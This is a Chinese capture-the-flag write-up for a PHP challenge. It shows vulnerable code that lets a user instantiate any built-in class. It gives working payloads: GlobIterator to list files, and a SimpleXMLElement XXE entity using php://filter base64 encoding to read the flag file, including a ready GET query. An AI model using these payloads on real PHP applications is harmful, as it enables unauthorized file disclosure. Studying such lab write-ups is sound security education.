[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP内置类利用 | 3 |
[题目考点]:
PHP内置类利用
[Flag格式]:
SXF{XxA_aSQ_XXE}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register( #1
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name']:null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)){ #2
$newclass = new $classname($param,$param2); #3
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'$value'.'<br>';
}
?>
上述代码中存在3个用户可控参数,$classname、$param、$param2。其中$classname在#2被传入class_exists函数。
首先介绍class_exists函数和__autoload函数以及PHP中任意类实例化
正在上传…重新上传取消
如上图所示,如果检查的类不存在,那么class_exists()函数就会去调用__autoload函数。
在代码中不存在autoload函数,但#1行,存在spl_autoload_register函数,其作用和autoload函数类似。
通过spl_autoload_register函数可以实例化php中任意类
SimpleXMLElement类功能就是用来表示XML文档中的元素。在SimpleXMLElement类中有很多函数可以调用。
重点是SimpleXMLElement::__construct-创建新的SimpleXMLElement对象
SimpleXMLElement::addAttribute-向SimpleXML元素添加属性
SimpleXMLElement::addChild-向XML节点添加子元素
SimpleXMLElement::asXML-基于SimpleXML元素返回格式良好的XML字符串
SimpleXMLElement::attributes-标识元素的属性
SimpleXMLElement::children-查找给定节点的子节点
SimpleXMLElement::__construct-创建新的SimpleXMLElement对象
SimpleXMLElement::count-计算元素的子级
ExtSimpleNamespaces::GetDocElement-在文档命名空间中声明
SimpleXMLElement::getName-获取XML元素的名称
SimpleXMLElement::getNamespaces-返回文档中使用的命名空间
SimpleXMLElement::registerXPathNamespace-为下一个XPath查询创建前缀/ns上下文
SimpleXMLElement::saveXML-别名SimpleXMLElement::asXML
SimpleXMLElement::__toString -返回字符串内容
SimpleXMLElement::xpath-对XML数据运行XPath查询
<?php
$xml = file_get_contents("php://input");
$xml_class= new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>
exp:
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=123.txt">
]>
<x>&xxe;</x>
在#3行,这里的类和类里面的参数都是我们可以控制的,满足了上面咱们提到的实例化漏洞。也就是说,我们可以实例化PHP的任意内置类。
首先可以使用GlobIterator类来寻找目录下各个文件的名字
GlobIterator类第一个参数是必须的的,也就是搜索的文件名,第二个参数为搜索。
通过搜索发现f1111ag.php文件,下一步使用SimpleXMLElement类读取f1111ag.php文件。
?name=SimpleXMLElement¶m=<?xml%20version="1.0"?><!DOCTYPE%20ANY%20[<!ENTITY%20xxe%20SYSTEM%20"php://filter/read=convert.base64-encode/resource=f1111ag.php">]><x>%26xxe;</x>¶m2=2
通过 BASE64解码获取Flag内容。